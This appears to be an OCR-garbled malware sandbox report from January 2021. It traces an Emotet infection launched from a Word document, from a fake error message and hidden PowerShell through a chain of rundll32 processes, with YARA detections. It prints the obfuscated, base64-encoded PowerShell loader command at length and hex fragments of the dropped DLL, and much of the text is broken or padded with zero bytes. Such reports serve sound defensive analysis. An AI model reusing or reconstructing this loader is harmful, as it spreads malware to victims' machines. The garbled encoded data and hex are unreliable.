00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
20PD&R00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

00 00 00 00 00 00 00 00 00 00
R@RODH40 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 FF FF FF FF

Completion

Source
Count Address

Symbol

Analysis Process: cmd.exe PID: 2456 Parent PID: 1220

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Copyright null 2021

16:31:43

13/01/2021

C:\Windows\System32\cmd.exe

false
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Commandline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file.
& PrOwer"she L L -w hidden -ENCOD JAA2ADKAbQBEAFQANWAgY
ACAAPQAgAFsAdAB5AFAARQBIACgAIgB7ADEAFQB7ADMAfQB7ADAAFQB7ADIA
fQAIACOAZgANAFIAIWASACCAUWANACWAIWBZACCALAANAFKAUWBOAEUATQAU
AEKATWAUAGQAaQBSAEUAYWBUAEBAIJWAPACAAOWAGACAAIAAKAHKAMQAWAEKA
IAAgADOAIABbAFQAeQBWAEUAXQAOACIAewA2AHOAewAZAHOAeWAYAHOAEWA3
AHOAewAOAHOAeWAXAHOAeWA1AHOAeWA4AHOAeWAWAHOAIGAtAGYAIAANAGEA
RWBIAFIAJWASACCAJAAUACCALAANAEUAIWASACCAWQBTAHQAIWASACCATYBF
ACCALAANAHMARQBSAHYAaQBDACCALAANAHMAIWASACCADQAUACCALAANAGUA
UABVAGKAbgBOAGOAY QBUACCAKQA7ACQARQBYAHIAbwBYAEEAYWBOAGKAbwBU QBSAFOANWA3ACSAWWBDAGgAY QBSAFOAOAAWACKALABbAEMAaABH gBpACCAKWANAHMADBQBIACCAKQAr
ACgAIWBKACCAKWANAHMALgBJAG8AbQANACSAIWAVACCAKQArACgAIJWBLACCA
KwWANAG4AcgANACKAKWAOACCAY QBpAGQALQANACSAIWBIAGEACAAVAFOAIWArbwB3AC8AIJWArACCcASYBIACBAQAANACSAIWBAAGIAMgBbAHMAOQGAVACCAKQAr QAnACKAKWANAGOACAANACSAKAANAGWAZQANACSAIWAU
AGMAbwWBtAC8AdWBWACOAIWArACCAaQBUAGMADBAANACSAIWBIAGQAJWAIACCA
ZQBzACCcAKWANACBAJWArACCcANWBIAFgAIWAPACSAKAANAGUASQANACSAIJWAV
ACCAKWANAEAAXQBIADIAWWANACKAKWANAHMAOgANACSAIJWAVACBAIWATACYA
JwBIAHOAaQANACsAJWAIAHAAbwBZAC4AYWANACSAIJWBVAGOALWBJACCAKWAN
AGEAdABIAGCcAbwBYAHKAJWAIACCABAANACSAIWAVAHGALWANACKAKQAUACIA
cgBFAHAADABBAGAAYWBIACIAKAAOACCAXQANACSAKAANAGIAIWArACCAMgBb
AHMAJIWAPACKALAAOAFSAYQBYAHIAY QB5AFOAKAANAHMAZAANACWAIWBZAHCA
JWAPACWAKAANAGgAJAANACSAIWBOAHAAIWAPACWAIWAZAGQAIWAPAFSAMQBd
ACKALgAIAFMAYABQAGWASQBUACIAKAAKAFIANGASAESAIAATACAAJABQAHKA
MABIAGIAagBpACAAKWAGACQAUQAZADMASQAPADSAJABaADQANABTADOAKAAD
ACCARAA4ACCAKWANADCAIWAPACSAIWBPACCAKQA7AGYAbWBYAGUAYQBJAGA QBOAGMAaAB7AHOATQAKAEIAMWAZ
AFQAPQAOACCAUQASACCAKWANADYAVAANACKA

Imagebase: 0x4a6c0000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

345088 bytes
5746BD7E255DD6A8BAFA06F7C42C1BA41L
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: msg.exe PID: 2496 Parent PID: 2456
General
Start time: 16:31:44
Start date: 13/01/2021
Path: C:\Windows\System32\msg.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

msg user /v Word experienced an error trying to open the file.
0xff720000

26112 bytes

2214979661E779C3E3C33D4F14E6F3AC

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 2300 Parent PID: 2456
General
Start time: 16:31:44
Start date: 13/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Copyright null 2021

false
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Commandline: POwersheLL -w hidden -ENCOD JAA2ADKAbQBEAFQANWAQACAAP
QAgAFsAdABSAFAARQBIACgAIgB7ADEAfQB7ADMATQB7ADAAFQB7ADIAfQAIA
COAZgANAFIAJWASACCAUWANACWAIWBZACCALAANAFKAUWBOAEUATQAUAEKAT
WAUAGQAaQBSAEUAYWBUAESAIJWAPACAAOWAGACAAIAAKAHKAMQAWAEKAIAAGA
DOAIABbAFQAeQBWAEUAXQAOACIAewA2AHOAewAzZAHOAewAYAHOAeWwA3AHOAe
WAOAHOAeWAXAHOAeWwALAHOAeWA4AHOAeWAWAHOAIGAAGY AIAANAGEARWBIA QBSAFOAOQAWACSAWWBDA
GgAYQBSAFOANWA3ACSAWWBDAGYAY QBSAFOAOAAWACKALABBAEMAaABhAFIAX
QA5ADIAKQAPADsSAJABHADCANWBHADOAKAANAFGAOAANACSAIWAWAFAAIWAPA
DsAIAAKAHKAMQAWAEKAOgABGACIAUWBIAEMAJQBYAEKAdABYJAHKACABYAEBAY
ABUAEBAYABJAGBATAAIACAAPQAGACYAKAANAFQADAANACSAIWBZACCAKQATA
CcAMQAYACCAKQA7ACQASgAZADQASYAIACYAKAANAFOAMIANACSAIWALACCAK
QArACcATgANACKAOWAKAFIAaQA2ADIACWBVAGSAIAAIACAAKAANAFIANAANA
CsAIJWAZAEgAIWAPADSAJABUADKAXWBIADOAKAANAEGANQANACSAIWA4AEWA]
WApPADSAJABCAGgAbgB3AGUAOQAYADOAJABIAEBATQBFACSAKAAOACCATQBVA
CcAKWAOACCAUQBZAGCAIWArACcAeQANACKAKWAOACCAaABSAHEAdJABNAGBAU
QANACsAJWBCACCAKWANAHgAIWAPACSAKAANADUAagBmAGOAJWArACCAbwBNA
CcAKWANAGBAUQANACKAKQAUACIACgBJAEUAUABSAGAAQQBDAGUAIgAOACYAJ
WBNAG8AJWAIACCAUQANACKALABbAFMAVABSAGKATgBHAFOAWWBDAEgAQQBYA
FOAOQAYACKAKQArACQAUgBpADYAMgBzAG8AawArACgAKAANACAAIWAIACCAZ
ABSACCAKQArACCcAbAANACKAOWAKAFCANQAWAFYAPQAOACCAWQANACSAKAANA
DcAOQANACSAIWBZACCAKQAPADSAJABPAGCAXWAOADMAXWBtADOAKAANAFOA QANACKAKWANAGOACAANACSAKAANAGWAZQANACSAIWAUAGMAD
WBtACBAdWBWACOAIWArACCcAaQBUAGMADAANACSAIWBIAGQAIWArACCAZQBZA
CcAKWANACBAIWArACCANWBIAFgAIJWAPACSAKAANAGUASQANACSAIWAVACCAK
WANAEAAXQBIADIAWWANACKAKWANAHMAOGANACSAJWAVACBAIWATACGAIWBIA
HoAaQANACsAJWAtAHAAbwBzAC4AYWANACsAIJWBVAGOALWBJACCAKWANAGEAd
ABIAGcAbwBYAHKAJWArACcAbAANACSAIJWAVAHGALWANACKAKQAUACIACgBFA
HAAbABBAGAAYWBIACIAKAAOACCAXQANACSAKAANAGIAIWATACCAMgBbAHMAJ
WAPACKALAAOAFSAYQBYAHIAY QBSAFOAKAANAHMAZAANACWAIWBZAHCAIWAPA
CwWAKAANAGYAdAANACSAIWBOAHAAIWAPACWAIWAZAGQAIWAPAFSAMQBIACKAL
gAIAFMAYABQAGWASQBUACIAKAAKAFIANgASAESAIAATACAAJABQAHKAMABIA
GIAagBpACAAKWAJACQAUQAZADMASQAPADSAJABaADQANABTADOAKAAOACCAR
AAL4ACCAKWANADCAIWAPACSAIWBPACCAKQA7AGYAbWBYAGUAY QBJAGUAIAACA QBOAGMAaAB7AHOATQAKAEIAMWAZAFQAP
QA0ACCAUQASACCAKWANADYAVAANACKA

Imagebase: 0x13f790000
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File size: 473600 bytes

MDS5 hash: 852D67A27E454BD389FA7TF02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:

00000005.00000002.2103844038.00000000003F6000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2103894665.0000000001C16000.00000004.00000001.sdmp,
Author: Florian Roth

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\Ygyhlqt read data or list device directory file | success or wait 1 7FEE8B4ABEC7 CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\Ygyhlgt\Bx5jfmo read data or list device directory file | success or wait 1 7FEE8B4ABEC7 CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\Ygyhlgt\Bx5jfmo\R43H.dll read attributes | device synchronous io  success or wait 1 7FEEB4ABECT7 CreateFileW
synchronize | non alert | non
generic write directory file |
open no recall
Source
Old File Path New File Path Completion Count Address Symbol
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
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File Path Offset

C:\Users\user\Ygyhlgt\Bx5jfmo\R43H.dll unknown 4096

C:\Users\user\Ygyhlgt\Bx5jfmo\R43H.dll unknown 8641

File Read

File Path

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml

Copyright null 2021

Length Value

Source

Ascii Completion Count Address Symbol

4d 5290 00 0300 00 MZ.........cccerenenne Q.....
00 04 00 00 00 ff ff
00 00 b8 00 00 00 00 ... .L.!This program
00 00 00 40 00 00 00 cannot be run in DOS

00 00 00 00 00 00 00 mode....

00 00 00 00 00 00 00 $..
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 ...
000000 00100100 ....
00 Oe 1f ba Oe 00 b4
09 cd 21 b8 01 4c cd
21546869 73 20 70
72 6f 67 72 61 6d 20
63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20
69 6e 20 44 4f 53 20
6d 6f 64 65 2e 0d 0d
0a 24 00 00 00 00 00
00 00 f1 f3 83 42 b5
92ed11b592ed 11
b592 ed 11 al f9 ee
10be 92 ed 11 a1 f9
e8103d92ed 11 al
f9e9 10 a7 92 ed 11
4d e2 €9 10 ba 92 ed
11 4d e2 ee 10 a4 92
ed 11 4d e2 e8 10 94
92 ed1lalf9ecl0
b2 92 ed 11 b5 92 ec
113992 ed 1102 e3
€810 b6 92 ed 11 02
e3ed10hb4 92 ed 11
02e3 1211 b4 92 ed
11 b592 7a 11 b4 92
ed 11 02 e3 ef 10 b4
92 ed 11 52 69 63 68
b5 92 ed

success or wait 1 7FEE8B4ABEC7 WriteFile

f8 ffffeb288bc6cl ...(....P...P.uS.5.......
€8 1050 0f b7 c650 .P..P.u.S.......M._"3[....
ff 751053 e8 35 f8ff ..... U..E.M..#.P+....
ffeb138bc6cle8 w..]...U.QVW,i...........
1050 0f b7 c6 50 ff  .PV.u..2...E.P.N.Q.%....... 7
751053 e8chfoffff _~.U h|....E.P.V/.
83c4108b4d fc 5f ..U..QSVW.}.E...P.w..s..U..
5e33cd5be8ad1lb ...E.P.C..P....C...c..G
0000¢c9¢c2100055 ..._"....V...6

8b ec 8b 45 Oc 8b 4d

08 83 00 23 8b 01 8b

50 fc 2b c2 83 c0 fc

838 1f 77 04 89 11

5d c3 e9 bf c6 00 00

55 8b ec 51 56 57 6a

10 8b f9 e8 ed f3 ff ff

8b f0 8d 45 fc 50 56

89 75 fc e8 32 f4 ff ff

8d 45 fc 50 8d 4e 04

51 e8 25 f4 ff ff 83 c4

14 89 37 5f 5e 9 c3

55 8b ec 83 ec Oc 8d

4d f4 e8 Oa f5 ff ff 68

7c ac 04 10 8d 45 f4

50 e8 56 2f 00 00 cc

55 8b ec 51 53 56 57

8b 7d 08 8d 45 08 8b

d9 50 8b 77 04 ff 73

04 89 75 fc e8 0 f3 ff

ff 8d 45 fc 50 8b 43

04 83 c0 04 50 e8 e0

f3 ff ff 8b 43 04 83 c4

10 83 63 04 00 89 47

04 89 06 5f 5e 5b c9

€2 04 0056 8b f1 ff

36

success or wait 20 7FEE8B4ABEC7 WriteFile

Source

Offset Length Count Address

4095

Completion Symbol

unknown success or wait 1 7FEE8315208 unknown

unknown 6304 success or wait 7FEE8315208 unknown

unknown 4095 success or wait 7TFEE843A287 ReadFile

3

1

unknown 4096 success or wait 4 7FEEB4ABEC7 ReadFile
1

unknown 781 end of file 7FEEB4ABEC7 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 6 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE84069DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE84069DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEEB4ABEC7 ReadFile
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEEB4ABEC7 ReadFile
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2548 Parent PID: 2300
General
Start time: 16:31:48
Start date: 13/01/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Ygyhlgt\Bx5jfmo\R43H.dIl Contr
ol_RunDLL
Imagebase: 0xff4c0000
File size: 45568 bytes
MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate

File Activities
Copyright null 2021
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File Read

File Path

C:\Users\user\Ygyhlgt\Bx5jfmo\R43H.dll
C:\Users\user\Ygyhlgt\Bx5jfmo\R43H.dll

Source
Offset Length Completion Count Address Symbol
unknown 64 success or wait 1 FFAC27D0 ReadFile
unknown 264 success or wait 1 FF4C281C ReadFile

Analysis Process: rundll32.exe PID: 2384 Parent PID: 2548

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

16:31:48

13/01/2021
C:\Windows\SysWOW64\rundll32.exe
true

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Ygyhlgt\Bx5jfmo\R43H.dll Contr
ol_RunDLL

0xb60000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2107903712.0000000000821000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2106786697.00000000001E0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2800 Parent PID: 2384
General
Start time: 16:31:49
Start date: 13/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Slimgulabo\vhtbjtkrz.lpr',
Control_RunDLL

0xb60000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2109254352.0000000000261000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2108974608.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security
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Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2792 Parent PID: 2800

General

Start time: 16:31:50

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bvjuzxolryfk\tucwdgbdtfe.w

nx',Control_RunDLL

Imagebase: 0xb60000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2111015590.0000000000150000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

00000009.00000002.2111121616.00000000001B1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2748 Parent PID: 2792

General

Start time: 16:31:51

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bsmdm\ghwk.vcj',Control_Ru

nDLL

Imagebase: 0xb60000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2112719680.0000000000241000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000A.00000002.2112674690.0000000000220000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
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File Activities

File Path

Old File Path

Source

Attributes Options Completion Count Address Symbol
Source

Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 1980 Parent PID: 2748

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

16:31:52

13/01/2021
C:\Windows\SysWOW64\rundll32.exe
true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Anheubolw\yblyupae.she',Co
ntrol_RunDLL

0xb60000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2115003226.00000000001F1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2114888366.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2452 Parent PID: 1980
General
Start time: 16:31:53
Start date: 13/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities
Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bwagqczxvcucs\mfg
hcresmvq.yyb',Control_RunDLL

0xb60000

44544 bytes
